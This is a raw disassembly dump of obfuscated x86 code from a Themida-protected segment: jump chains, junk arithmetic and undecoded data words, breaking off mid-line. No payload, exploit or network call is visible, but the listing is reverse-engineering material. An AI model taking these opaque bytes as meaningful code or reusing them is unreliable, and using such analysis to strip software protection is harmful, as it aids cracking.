dword ptr [esp+4], 43DB68FDh sub dword ptr [esp+4], 438149AEh add [esp+4], ecx push esi mov esi, 438149AEh add [esp+8], esi pop esi sub dword ptr [esp+4], 43DB68FDh jmp loc_51342D ; --------------------------------------------------------------------------- loc_5022F7: ; CODE XREF: Themida_:00502CE3j mov [esp], ecx jmp loc_50AEBB ; --------------------------------------------------------------------------- db 89h dd 35BA2414h, 0E94C7D50h, 9800h, 1C781h, 0BE560000h, 49D07A1h dd 8107E6C1h, 5C6E7BE6h, 99CE8133h, 4E12A211h, 0EE81DEF7h dd 9B6D32E8h, 0E95EF731h, 0FFFFEFB1h ; --------------------------------------------------------------------------- loc_502338: ; CODE XREF: Themida_:005002F5j mov ecx, esi jmp loc_510FF0 ; --------------------------------------------------------------------------- db 89h dd 4C781E7h, 81000000h, 4ECh, 24348900h, 581868h, 240C8900h dd 0E9E38953h, 0D8E5h, 0E908E6C0h, 1E3Ch ; --------------------------------------------------------------------------- loc_502368: ; CODE XREF: Themida_:00509DB4j mov ebp, [esp] add esp, 4 add ebx, 545A38EBh jmp loc_514B5F ; --------------------------------------------------------------------------- loc_50237C: ; CODE XREF: Themida_:005078D5j mov [esp], ebx mov ebx, 6C5C005Fh shr ebx, 5 jmp loc_503561 ; --------------------------------------------------------------------------- loc_50238C: ; CODE XREF: Themida_:00509A9Fj pop esi mov ebp, ecx pop ecx push ecx mov ecx, 2C114F2Eh add edi, ecx pop ecx jmp loc_509E83 ; --------------------------------------------------------------------------- loc_50239E: ; CODE XREF: Themida_:0050B892j mov ebx, 2C153014h add edi, ebx mov ebx, [esp] add esp, 4 pop ebx xchg edi, [esp] pop esp push edx mov edx, esp add edx, 4 jmp loc_511E11 ; --------------------------------------------------------------------------- dw 4A68h dd 0E900006Bh, 0BD82h ; --------------------------------------------------------------------------- loc_5023C8: ; CODE XREF: Themida_:00511D70j push eax push ebx jmp loc_506DFB ; --------------------------------------------------------------------------- db 53h dd 11374E9h, 24248B00h, 78BE953h, 0F4050000h, 116A65Ch dd 5CF42DD0h, 148B16A6h, 4C48124h, 87000000h, 1FE92404h db 0C3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5023FB: ; CODE XREF: Themida_:005038DEj sub edx, ebp mov ebp, [esp] add esp, 4 sub ebx, 4A5962BCh sub ebx, edx add ebx, 4A5962BCh push dword ptr [esp] pop edx jmp loc_511B0E ; --------------------------------------------------------------------------- dw 0E681h dd 36A02126h, 0DABA524Eh, 11E28FBh, 0C1815AD6h, 66A04E2Fh dd 0BCDBE9h db 0 ; --------------------------------------------------------------------------- loc_502435: ; CODE XREF: Themida_:00505C3Aj add esi, 4 add esi, 4 xchg esi, [esp] pop esp add esp, 4 pop dword ptr [eax] jmp loc_504023 ; --------------------------------------------------------------------------- aIIcsD db '<$[d',0 align 4 dd 0FD895E59h, 5DE8295Fh, 31240433h, 24E92404h, 8900002Fh dd 59C889D1h, 5A585950h, 7BE9C831h, 570000C0h, 0F324E9h dd 4C48100h, 0E9000000h, 1084Ch ; --------------------------------------------------------------------------- loc_502490: ; CODE XREF: Themida_:0050D09Aj pop ebx mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], eax mov eax, 4 jmp loc_5026FD ; --------------------------------------------------------------------------- loc_5024AA: ; CODE XREF: Themida_:0051292Bj sub eax, 4BE53A7Ch jmp loc_514163 ; --------------------------------------------------------------------------- loc_5024B4: ; CODE XREF: Themida_:00511E61j sub esp, 4 mov [esp], edx push ecx mov ecx, 63070F33h mov edx, ecx mov ecx, [esp] push ecx jmp loc_50318C ; --------------------------------------------------------------------------- db 89h dd 9FE9241Ch db 0EAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5024D3: ; CODE XREF: Themida_:0050C2C0j neg ebp jmp loc_50B2B1 ; --------------------------------------------------------------------------- dw 248Bh dd 52F1F724h, 29E9E289h, 66FFFFE2h, 56241489h, 0C681E689h dd 4, 8704EE83h, 895C2434h, 5CB3241Ch, 0DE28CEB6h, 91F5E9h db 0 ; --------------------------------------------------------------------------- loc_502509: ; CODE XREF: Themida_:0050314Fj add ebp, 6D6F39E4h mov ebx, [esp] add esp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_506B35 ; --------------------------------------------------------------------------- dw 1505h dd 0E90F797Eh, 0D012h ; --------------------------------------------------------------------------- loc_502530: ; CODE XREF: Themida_:0050261Ej inc eax jmp loc_50C9E5 ; --------------------------------------------------------------------------- loc_502536: ; CODE XREF: Themida_:004FFECAj add [esp+4], ebp jmp loc_50DD30 ; --------------------------------------------------------------------------- db 49h dd 2414F751h, 606AE9h, 0FFE82100h, 2C8B2434h, 0E1895124h dd 4C181h, 0C1810000h, 4, 5C240C87h, 81E78957h, 4C7h, 4C166800h dd 14890000h, 41AFBA24h, 0CA81047Ch, 5B6814FEh, 210AE281h dd 0A2E931F5h, 830000C1h, 1C8904ECh, 801BB324h, 0E3C001C3h dd 7EBC008h, 0E9CFE380h, 4644h, 83241C8Bh, 0F38104C4h dd 6F0F22C1h, 0DA98E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5025B6: ; CODE XREF: Themida_:0050D6BFj sub edx, 36B452A9h add edx, 7ABD7246h pop edi shr edx, 3 push ebx mov ebx, 0DEB24715h sub edx, ebx pop ebx jmp loc_50F6AB ; --------------------------------------------------------------------------- loc_5025D4: ; CODE XREF: Themida_:00511A38j or ecx, 1F1C4214h push ebx jmp loc_512FC3 ; --------------------------------------------------------------------------- dd 83242C8Bh, 685804C4h, 45E0h, 0E9240C89h, 0BFC6h, 242CD25Ch dd 4657E99Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_5025FE: ; CODE XREF: Themida_:00504520j pop edx jmp loc_5042A5 ; --------------------------------------------------------------------------- loc_502604: ; CODE XREF: Themida_:005029B6j mov [esp], ecx mov ecx, 505E5471h sub esp, 4 mov [esp], eax mov eax, 654515D5h not eax or eax, 0BCD070Ah jmp loc_502530 ; --------------------------------------------------------------------------- aSP db '\!P',0 db 0 ; --------------------------------------------------------------------------- loc_502629: ; CODE XREF: Themida_:0050A925j sub esp, 4 jmp loc_5087FE ; --------------------------------------------------------------------------- loc_502634: ; CODE XREF: Themida_:00507CEBj add esp, 4 jmp loc_50A91B ; --------------------------------------------------------------------------- loc_50263C: ; CODE XREF: Themida_:0050A35Ej push dword ptr [esp] push dword ptr [esp] pop ecx push 1A3h jmp loc_50DC6A ; --------------------------------------------------------------------------- aR8Gs db 'R8g鱴',0 db 0 ; --------------------------------------------------------------------------- loc_502657: ; CODE XREF: Themida_:00507EE9j mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_503699 ; --------------------------------------------------------------------------- db 5Fh dd 4EC81h, 3C890000h, 51E78924h, 4B9h, 8BCF0100h, 0C483240Ch dd 4C78104h, 87000000h, 515C243Ch, 543E05B9h, 82F18176h dd 81789B25h, 0D230D2C9h, 4903E938h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5026A2: ; CODE XREF: Themida_:00508E40j mov edi, 3ED85520h shr edi, 8 add edi, 78063CA6h jmp loc_50A571 ; --------------------------------------------------------------------------- loc_5026B5: ; CODE XREF: Themida_:0050323Bj add edx, eax pop eax jmp loc_51377E ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h aSl db '+%',0 dw 5E00h dd 6213E9h db 0 ; --------------------------------------------------------------------------- loc_5026CD: ; CODE XREF: Themida_:0050BF3Fj push esi push edi push 6F8E59F6h pop edi and edi, 5F857C03h jmp loc_50BD37 ; --------------------------------------------------------------------------- dd 90B65266h, 1038EE9h db 0 ; --------------------------------------------------------------------------- loc_5026E9: ; CODE XREF: Themida_:0050B6B9j add esi, 6ACB1418h jmp loc_5035EA ; --------------------------------------------------------------------------- aZSn8 db '^,$n8',0 db 0 ; --------------------------------------------------------------------------- loc_5026FD: ; CODE XREF: Themida_:005024A5j add ecx, eax pop eax xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] push ebp jmp loc_5100C6 ; --------------------------------------------------------------------------- loc_502712: ; CODE XREF: Themida_:0050FDB1j mov edx, esp push eax push ecx mov ecx, 4 mov eax, ecx jmp loc_50524C ; --------------------------------------------------------------------------- dw 835Ch dd 0EC8104C4h, 4, 6419E9h db 0 ; --------------------------------------------------------------------------- loc_502731: ; CODE XREF: Themida_:00512BABj neg ebp add ebp, 2E0C1210h jmp loc_50955E ; --------------------------------------------------------------------------- loc_50273E: ; CODE XREF: Themida_:0050EFE5j pop dword ptr [esp] add dword ptr [esp], 4 mov ecx, [esp] jmp loc_50D737 ; --------------------------------------------------------------------------- loc_50274D: ; CODE XREF: Themida_:0050E70Bj pop ebp jmp loc_50C0C0 ; --------------------------------------------------------------------------- loc_502753: ; CODE XREF: Themida_:00513C9Bj pop ebp xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp sub esp, 4 mov [esp], esi mov esi, 36B57C47h xor esi, 5DDD466Ah push edx mov edx, 39782DDCh inc edx and edx, 34D3225Ch sub edx, 2C8630BFh add esi, edx pop edx sub eax, esi pop esi push ecx jmp loc_50FA39 ; --------------------------------------------------------------------------- loc_502791: ; CODE XREF: Themida_:0050BAA2j add ebp, 4 xor ebp, [esp] xor [esp], ebp jmp loc_50093C ; --------------------------------------------------------------------------- dw 4BBh dd 29000000h, 3C875BDFh, 1C895C24h, 5621BB24h, 0EB811E02h dd 79FB410Ch, 0FFE898E9h, 20E956FFh db 6, 1, 0 ; --------------------------------------------------------------------------- loc_5027C7: ; CODE XREF: Themida_:0050911Ej add esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] push ecx mov ecx, 64F3308Fh add ecx, 0F955DE60h jmp loc_50A441 ; --------------------------------------------------------------------------- loc_5027E7: ; CODE XREF: Themida_:0051433Aj jz loc_50A5DD push dword ptr [edi+1Ch] push dword ptr [esp] pop ecx push ecx jmp loc_513985 ; --------------------------------------------------------------------------- dw 0E089h dd 405h, 40500h, 4870000h, 3585E924h, 0E2800000h, 88EA8099h dd 0A695E9h db 0 ; --------------------------------------------------------------------------- loc_502819: ; CODE XREF: Themida_:00508971j mov esi, 66B6468Ch dec esi add esi, 1 xor esi, 68662C75h jmp loc_510D2A ; --------------------------------------------------------------------------- dd 4C381h, 1C870000h, 0C4835C24h, 89535704h, 4C381E3h dd 56000000h, 0FFD75FE9h db 0FFh ; --------------------------------------------------------------------------- loc_50284D: ; CODE XREF: Themida_:0050BC91j add esp, 4 sub ecx, 7E563291h jmp loc_51024B ; --------------------------------------------------------------------------- db 80h dd 0C680F6F6h, 0F58851D1h, 624FE9h, 74E18100h, 811BC009h dd 0FF5B2BF1h, 838BE974h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50287A: ; CODE XREF: Themida_:005057C7j sub ecx, 979F1253h jmp loc_5018DA ; --------------------------------------------------------------------------- loc_502885: ; CODE XREF: Themida_:00513CD4j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx jmp loc_51060C ; --------------------------------------------------------------------------- loc_5028A7: ; CODE XREF: Themida_:005090C8j xchg edi, [esp] jmp loc_508A08 ; --------------------------------------------------------------------------- db 56h dd 0C681E689h, 4, 682FE9h, 14895C00h, 1EABE924h, 0EB810001h dd 541C1533h, 62E5E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5028D2: ; CODE XREF: Themida_:0050BDD1j add esp, 4 pop ebp push 14F9h jmp loc_507DF2 ; --------------------------------------------------------------------------- loc_5028E0: ; CODE XREF: Themida_:00503700j pop esp not ebx add ebx, 32566CA6h add ebx, 0FFFFFFFFh push edx jmp loc_50C697 ; --------------------------------------------------------------------------- dw 1C89h aH1 db '$h{1',0 align 2 dw 0C89h dd 0E8B65224h, 888FF680h, 50525AF5h, 0C6880AB0h, 654AE958h dd 95B0000h, 0E9591C4Fh, 0FFFFD2FDh, 240C8B66h, 68E38953h dd 4959h, 55240C89h, 4BDh, 5DE98900h, 5A685350h, 5B7C5F3Ch dd 535BD889h, 8516E9h, 243C3300h, 0CEC8E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50294E: ; CODE XREF: Themida_:005124F0j sub dword ptr [esp+4], 6F85107Ch add [esp+4], edx add dword ptr [esp+4], 6F85107Ch pop edx push dword ptr [esp] pop ebx add esp, 4 push edi mov edi, 7E102784h sub edi, 232E592Eh shr edi, 3 jmp loc_500538 ; --------------------------------------------------------------------------- db 81h, 0C1h, 4 dd 83000000h, 0FF5104C1h, 59042474h, 0E924048Fh, 4121h dd 0E904C483h, 814Bh, 0D1240481h, 0E96ACA72h, 3137h ; --------------------------------------------------------------------------- loc_5029AC: ; CODE XREF: Themida_:00505DE2j add esp, 4 xchg edi, [esp] pop esp jmp loc_502604 ; --------------------------------------------------------------------------- loc_5029BB: ; CODE XREF: Themida_:00508D80j mov ebx, 1ABA5713h not ebx neg ebx jmp loc_50AF8F ; --------------------------------------------------------------------------- aTsA db ',$',0 align 10h loc_5029D0: ; CODE XREF: Themida_:00502B47j push esp pop ecx jmp loc_5087B1 ; --------------------------------------------------------------------------- loc_5029D7: ; CODE XREF: Themida_:005086CAj mov edx, 4 add eax, edx jmp loc_50667F ; --------------------------------------------------------------------------- loc_5029E3: ; CODE XREF: Themida_:005085FAj mov [esp], ebx mov ebx, 15286510h push esi push ecx mov ecx, 0EAD79BF0h push ecx pop esi pop ecx sub ebx, 19646F90h add ebx, 480A17EFh push 25CFh mov [esp], eax mov eax, 55B22ADAh jmp loc_501896 ; --------------------------------------------------------------------------- loc_502A13: ; CODE XREF: Themida_:005100C7j mov edx, esp jmp loc_505B40 ; --------------------------------------------------------------------------- dw 0E956h dd 1160Dh ; --------------------------------------------------------------------------- loc_502A20: ; CODE XREF: Themida_:0050BD52j mov ecx, 32EE4D40h inc ecx jmp loc_50D547 ; --------------------------------------------------------------------------- db 0F7h dd 0FA4DE9D5h, 4966FFFFh, 0F7665166h, 59662414h, 98C98166h dd 0C981665Ah, 81666E73h, 663CF2F1h, 6659C821h, 66DA032Dh dd 0B4FC381h, 2334E9h db 0 ; --------------------------------------------------------------------------- loc_502A5D: ; CODE XREF: Themida_:0050BCC8j add esi, edi push dword ptr [esp] pop edi add esp, 4 push ebp jmp loc_5019AC ; --------------------------------------------------------------------------- loc_502A6C: ; CODE XREF: Themida_:00512C33j dec edi jmp loc_5072FB ; --------------------------------------------------------------------------- loc_502A72: ; CODE XREF: Themida_:0050F2DFj push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp jmp loc_511E94 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_503C86 ; --------------------------------------------------------------------------- dw 2489h dd 24048124h, 4, 5B2434FFh, 4C481h, 4B680000h, 89000038h dd 3BBE2434h, 0C1180634h, 0C68108EEh, 122B4A25h, 0C9E9E6D1h dd 8B0000DFh, 2CD32424h, 4BE99C24h, 0FFFFFFCDh, 565E2434h dd 38B9E9h, 0BF665700h, 0BA6612C1h, 296625EEh, 243C8BFAh dd 0FFE897E9h, 0E9505AFFh, 0D3BCh, 6E08BA52h, 0C28128D7h dd 18D0BB1h, 0FFC28142h, 81FFFFFFh, 0F3CADEC2h, 0FFD0292Fh dd 0C3E92434h db 0D1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_502B13: ; CODE XREF: Themida_:0050581Dj pop edi push edi push 4A6A75FEh pop edi add ebx, 3F4C64C5h add ebx, 8E23FE7h add ebx, edi sub ebx, 8E23FE7h sub ebx, 3F4C64C5h pop edi shr ebx, 8 dec ebx xor ebx, 0E04539h and eax, ebx push dword ptr [esp] pop ebx push ecx jmp loc_5029D0 ; --------------------------------------------------------------------------- loc_502B4C: ; CODE XREF: Themida_:00507EDAj dec ebp shr ebp, 6 neg ebp jmp loc_514D2A ; --------------------------------------------------------------------------- db 57h dd 269E9h, 73E98000h, 0CB285866h, 3767E9h, 81E38900h, 4C3h dd 4DE95500h, 57000035h, 0FF99E9h, 0D8685A00h, 8900006Ch dd 0E9522404h, 7BF1h ; --------------------------------------------------------------------------- loc_502B8C: ; CODE XREF: Themida_:0050466Ej push esp pop dword ptr [esp] jmp loc_50C50B ; --------------------------------------------------------------------------- loc_502B95: ; CODE XREF: Themida_:00509D13j push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push 754Dh mov [esp], ebx push esi jmp loc_500478 ; --------------------------------------------------------------------------- loc_502BB0: ; CODE XREF: Themida_:00501759j sub eax, edx add eax, 60031E1Ch jmp loc_502C7D ; --------------------------------------------------------------------------- loc_502BBC: ; CODE XREF: Themida_:00514CCBj xchg ecx, [esp] mov esp, [esp] jmp loc_514338 ; --------------------------------------------------------------------------- db 0FEh dd 0E99C2404h, 0FFFFCC46h, 237605BEh, 2474296Bh, 4815E04h dd 0BA189624h, 2404296Bh, 1896B951h, 4C296BBAh, 0F2E90424h dd 810000ADh, 4C4h, 5AD72800h, 68CBEF80h, 3994h, 89241C89h dd 4C381E3h, 81000000h, 2EBh, 241C8700h, 489665Ch, 0C0E0B024h dd 0CA3407E8h, 8B66C730h, 0C4832404h, 24EF8002h, 2DB05066h dd 48DAE9h db 0 ; --------------------------------------------------------------------------- loc_502C39: ; CODE XREF: Themida_:005048A6j sub esp, 4 mov [esp], esi push 371D22A3h jmp loc_5072BF ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 33000000h, 0CBE9243Ch db 0E0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_502C57: ; CODE XREF: Themida_:005008EEj pop edx inc edi not edi sub edi, 95B0AAB3h push edi mov edi, 1F9A3E1Eh jmp loc_506B68 ; --------------------------------------------------------------------------- dd 79E9F831h, 21000023h, 0E0D15AD0h, 1CBDE9h db 0 ; --------------------------------------------------------------------------- loc_502C7D: ; CODE XREF: Themida_:00502BB7j pop edx push dword ptr [esp] jmp loc_5132F1 ; --------------------------------------------------------------------------- dw 335Bh dd 14312414h, 24143324h, 0E924248Bh, 0FFFFCB7Eh ; --------------------------------------------------------------------------- loc_502C98: ; CODE XREF: Themida_:00505100j add esp, 4 jmp loc_50A83A ; --------------------------------------------------------------------------- db 66h dd 0E9240C8Bh, 0FFFFD7C1h ; --------------------------------------------------------------------------- loc_502CAC: ; CODE XREF: Themida_:0050A951j xor eax, ebx xor ebx, eax xor eax, ebx push edx mov edx, esp add edx, 4 jmp loc_50F70C ; --------------------------------------------------------------------------- loc_502CC0: ; CODE XREF: Themida_:0050423Fj pop eax add edx, esi pop esi jmp loc_50EA52 ; --------------------------------------------------------------------------- loc_502CC9: ; CODE XREF: Themida_:00507D68j add edi, 45357E51h add edi, esi sub edi, 45357E51h mov esi, [esp] add esp, 4 sub esp, 4 jmp loc_5022F7 ; --------------------------------------------------------------------------- dd 89242C89h, 4C581E5h, 83000000h, 2C8702C5h, 24248B24h dd 9C240CD3h, 0FFCB11E9h, 4C181FFh, 57000000h, 0B618E168h dd 0CF815F44h, 710D4A2Eh, 0D102E7C1h, 0AF3E9EFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_502D22: ; CODE XREF: Themida_:00500CE7j pop edi add ecx, ebp pop ebp jmp loc_507E28 ; --------------------------------------------------------------------------- loc_502D2B: ; CODE XREF: Themida_:005121F3j mov [esp], edx mov edx, 4D2438A0h add eax, edx pop edx push eax not dword ptr [esp] pop eax jmp loc_50C48E ; --------------------------------------------------------------------------- dd 0E189E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_502D46: ; CODE XREF: Themida_:0051331Fj mov edi, 4 add eax, edi pop edi jmp loc_51356C ; --------------------------------------------------------------------------- loc_502D53: ; CODE XREF: Themida_:0050CF14j sub ebp, edx mov edx, [esp] add esp, 4 jmp loc_50D442 ; --------------------------------------------------------------------------- dd 4CCEC981h, 0F1810AC6h, 0AA0722E5h, 5259CB89h, 866014BAh dd 9DC38120h, 81482245h, 1C1533C3h, 7BEB8154h, 154D478h dd 7BC381D3h, 0E954D478h, 0FFFFFB32h, 42474FFh, 24048F5Fh dd 0FFD7B4E9h, 4EEC1FFh, 8107EEC1h, 227E67C6h, 1BCE817Eh dd 813BFD1Eh, 723B62F6h, 0DAF68117h, 2121A72Bh, 162E9F2h dd 66510000h, 66740368h, 0E9416659h, 7848h, 0E9D2F480h dd 8FDh, 12E9D389h db 0DDh, 2 dup(0) ; --------------------------------------------------------------------------- loc_502DE3: ; CODE XREF: Themida_:00504010j push edx mov edx, 4 add esi, edx push dword ptr [esp] jmp loc_500B50 ; --------------------------------------------------------------------------- db 8Bh dd 0C2E92414h, 0BF000082h, 5571159Fh, 3C74E9h db 0 ; --------------------------------------------------------------------------- loc_502E05: ; CODE XREF: Themida_:005094FEj sub dword ptr [esp+4], 6AD503E9h add [esp+4], esi add dword ptr [esp+4], 6AD503E9h push ecx mov ecx, 47944873h jmp loc_5005C5 ; --------------------------------------------------------------------------- dd 8957D830h, 0BB5356E7h, 4D284117h, 0E98D71BEh, 5BDE299Ch dd 79B1E9h, 4BDDBB00h, 462D4056h, 13C772Bh, 2B4605D8h dd 2D5B3C77h, 6A914FA6h, 19E95548h, 510000D0h, 12080BB9h dd 378BB81Dh, 0C82995C3h, 58C1E9h, 4EC8100h, 89000000h dd 0FF542414h, 0E95A2434h, 11557h, 4DAF6849h, 1C890000h dd 73ABB24h, 0EB816644h, 0F50B8EA4h, 77E9D931h, 88FFFFFAh dd 1C8B66FAh, 2C48324h, 3DBEE9h db 0 ; --------------------------------------------------------------------------- loc_502EA9: ; CODE XREF: Themida_:00500785j add ebp, 736441D2h jmp loc_50D6FC ; --------------------------------------------------------------------------- loc_502EB4: ; CODE XREF: Themida_:0050A455j sub eax, 0BC605C5h sub eax, 1B19821Eh sub ebx, eax pop eax add edx, ebx pop ebx jmp loc_505BFE ; --------------------------------------------------------------------------- db 2Dh, 3Eh, 0Eh dd 8957A8ACh, 0DD92E9C7h, 0F758FFFFh, 0D2F74ADAh, 66D7C281h dd 0EA817795h, 8B80C063h, 0FFE811E9h, 0C0B60FFFh, 24148B66h dd 1C8B5453h, 0B946E924h, 3C890000h, 57DF8924h, 3394E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_502F0A: ; CODE XREF: Themida_:0050AD4Bj push edx push edi mov edi, 6D510433h push ebx mov ebx, 35EC2938h add edi, ebx pop ebx add edi, 8E2A4FD9h mov edx, edi pop edi jmp loc_50A13A ; --------------------------------------------------------------------------- dd 70CA815Eh, 81225351h, 403194C2h, 4AD2F777h, 8F8AC281h dd 0D6019A93h, 4C6815Ah, 87000000h, 248B2434h, 9CBE5624h dd 2903C67Fh, 2948E9F0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_502F5A: ; CODE XREF: Themida_:00506207j neg ebp or ebp, 24B42949h and ebp, 727A1701h and ebp, 5F7E4934h inc ebp sub ebp, 503800FDh add ebx, ebp pop ebp push edi mov edi, 428404E7h sub edi, 2CA77C1Dh jmp loc_506B1F ; --------------------------------------------------------------------------- db 68h, 0CAh, 2Bh dd 14890000h, 88E68824h, 48B5AF1h, 4C48124h, 88000000h dd 0C8B66C8h, 0E7895724h, 4C781h, 0C7810000h, 2, 8B243C87h dd 4302424h, 0D773E924h, 0CB800000h, 0B2EB80EBh, 805BDE08h dd 0A12C8CEEh, 0A104F000h, 34FF5A66h, 0C4835A24h, 0B0506604h dd 0B2B0503Dh, 4304D0F6h, 0E958C328h, 0FFFFEBA0h ; --------------------------------------------------------------------------- loc_502FF0: ; CODE XREF: Themida_:0050D8FCj pop ebp pop dword ptr [esp] pop esp add edx, esi sub edx, 17DA564Ah jmp loc_5001F0 ; --------------------------------------------------------------------------- dw 7C2Dh dd 0C13D0723h, 8F0506E8h, 2D160440h, 0FBC262CDh, 0C158C731h dd 9DE905E7h, 8100007Ah, 4C6h, 4EE8100h, 0E9000000h, 0FFFFEB79h dd 2842ED80h, 49A2E9E8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50303A: ; CODE XREF: Themida_:00504181j cmp cl, al pushf jmp loc_4FF816 ; --------------------------------------------------------------------------- aK7 db 'K7]',0 db 29h dd 243C8BFDh, 81E38953h, 4C3h, 262EE900h, 0CD810000h, 3A62611Fh dd 0BE9DE9h, 3C896600h, 81BF6624h, 6C816647h, 5DB10424h dd 247C0166h, 66536604h, 665DB1BBh, 6245C01h, 4DF9E9h dd 24148B00h, 4C481h, 0EC830000h, 240C8904h, 0ADEEE9h dd 5BD90100h, 6859CB89h, 272Bh, 81240489h, 3851242Ch, 34FF449Fh dd 24048B24h, 5504C483h, 4EC81h, 0E9540000h, 0EBFFh, 9AE95643h dd 30000103h, 0D485E9D8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5030D6: ; CODE XREF: Themida_:00500C63j mov edi, esp push eax jmp loc_50DEF0 ; --------------------------------------------------------------------------- dw 0C588h dd 0E924048Bh, 2B84h ; --------------------------------------------------------------------------- loc_5030E8: ; CODE XREF: Themida_:00512AAFj pop edi jmp loc_50A4D9 ; --------------------------------------------------------------------------- dw 23E9h dd 5AFFFFC7h, 0EB80CB00h, 91E95907h, 1000029h, 0C2895BD8h dd 0E9D30158h, 0FFFFCD74h, 7B8768h, 0A2F9E900h, 355A0000h dd 12D067EEh, 0D863E82Dh, 0BBC68152h, 53300329h, 0CA1FE9h db 0 ; --------------------------------------------------------------------------- loc_50312D: ; CODE XREF: Themida_:0050D47Dj push 5B7C4490h pop edi xor edi, 48C327A3h add edi, 0EC409CD1h mov ebx, edi mov edi, [esp] add esp, 4 sub ebp, 6D6F39E4h add ebp, ebx jmp loc_502509 ; --------------------------------------------------------------------------- dd 9F395DBEh, 3108B975h, 0F13106A5h, 8124348Bh, 4C4h, 0F9BF5700h dd 0C127CF05h, 0BB5304EFh, 5D610BFCh, 4A24E381h, 0CB8134ADh dd 55C13F61h, 0E906E3C1h, 0FFFFEF8Eh ; --------------------------------------------------------------------------- loc_50318C: ; CODE XREF: Themida_:005024C6j mov ecx, esp jmp loc_501C70 ; --------------------------------------------------------------------------- loc_503193: ; CODE XREF: Themida_:00504E24j pop ebx jmp loc_51343C ; --------------------------------------------------------------------------- aUrsx db ']UR&',0 db 0 ; --------------------------------------------------------------------------- loc_5031A1: ; CODE XREF: Themida_:0050FEF9j pop esp push 207Bh mov [esp], esi push esp push dword ptr [esp] pop esi sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp add esi, 4 push ecx mov ecx, 5B040621h jmp loc_5002DD ; --------------------------------------------------------------------------- aVrszz db 'VRZZ',0 align 2 loc_5031E2: ; CODE XREF: Themida_:0050780Fj pop esp mov [esp], ecx jmp loc_4FF816 ; --------------------------------------------------------------------------- aTyska db 'TY',0 align 2 dw 0E951h dd 0FFFFFFF3h, 63232BFh, 0E9DFF70Bh, 6B43h, 0FF2434FFh dd 34FF2434h, 4FE95B24h, 33FFFFC8h, 3C31243Ch, 243C3324h dd 6624248Bh, 0E9240C89h, 66C4h ; --------------------------------------------------------------------------- loc_503228: ; CODE XREF: Themida_:00506D54j inc eax add eax, 26E77A92h shl eax, 5 or eax, 6A714308h sub eax, 0FFF7EB04h jmp loc_5026B5 ; --------------------------------------------------------------------------- dd 0BB53F001h, 69902A49h, 685BD829h, 6B0Eh, 68242C89h dd 127F7492h, 52D5F75Dh, 1E68B850h, 0C28935B2h, 1167EE9h dd 64C58100h, 29D0721Bh, 0E2E5E9EBh, 8166FFFFh, 0E9C12AC3h dd 0E3A8h ; --------------------------------------------------------------------------- loc_503280: ; CODE XREF: Themida_:00512735j not dword ptr [esp] jmp loc_5034CC ; --------------------------------------------------------------------------- loc_503288: ; CODE XREF: Themida_:00504257j xor edi, [esp] jmp loc_4FFCCC ; --------------------------------------------------------------------------- loc_503290: ; CODE XREF: Themida_:005009BFj push dword ptr [esp] pop eax push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp mov dx, [esp] add esp, 2 add bl, al sub esp, 4 mov [esp], ecx mov cl, 4 shl cl, 5 push ebx mov bl, 0F0h and bl, 3Fh shr bl, 7 jmp loc_5121C8 ; --------------------------------------------------------------------------- dd 563ACE05h, 508EE95Bh, 0F0010000h, 5E2434FFh, 15E95450h db 27h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5032E3: ; CODE XREF: Themida_:00507773j sub edx, ebp mov ebp, [esp] push ecx jmp loc_50E1A8 ; --------------------------------------------------------------------------- loc_5032EE: ; CODE XREF: Themida_:0050A805j pop edx sub eax, 43867DFAh add eax, edx add eax, 43867DFAh jmp loc_50BF3D ; --------------------------------------------------------------------------- dd 0E9D30059h, 0FFFFFD81h, 92661868h, 0E9415973h, 390Fh ; --------------------------------------------------------------------------- loc_503314: ; CODE XREF: Themida_:0050000Ej sub esp, 4 jmp loc_509CE9 ; --------------------------------------------------------------------------- dd 4C481h, 14870000h, 24248B24h, 240C8B66h, 331C68h, 0ACD0E900h dd 248B0000h, 0C4D8E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50333E: ; CODE XREF: Themida_:00514A66j pop esp push ebx mov ebx, esp jmp loc_50A74D ; --------------------------------------------------------------------------- aRvsxr db 'RVXR',0 align 2 dw 1C8Bh dd 0BBFFE924h, 0ED810000h, 0C751A389h, 815DEA21h, 811884F2h dd 0D3E8E930h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50336A: ; CODE XREF: Themida_:00514209j add ah, 9Bh mov cl, ah pop ax jmp loc_50FA23 ; --------------------------------------------------------------------------- loc_503376: ; CODE XREF: Themida_:00513C7Ej pop esi pop esi jmp loc_507F17 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch aSiuvuJiDh db '$SVUJIdh',0 align 10h aXRCdBSS db 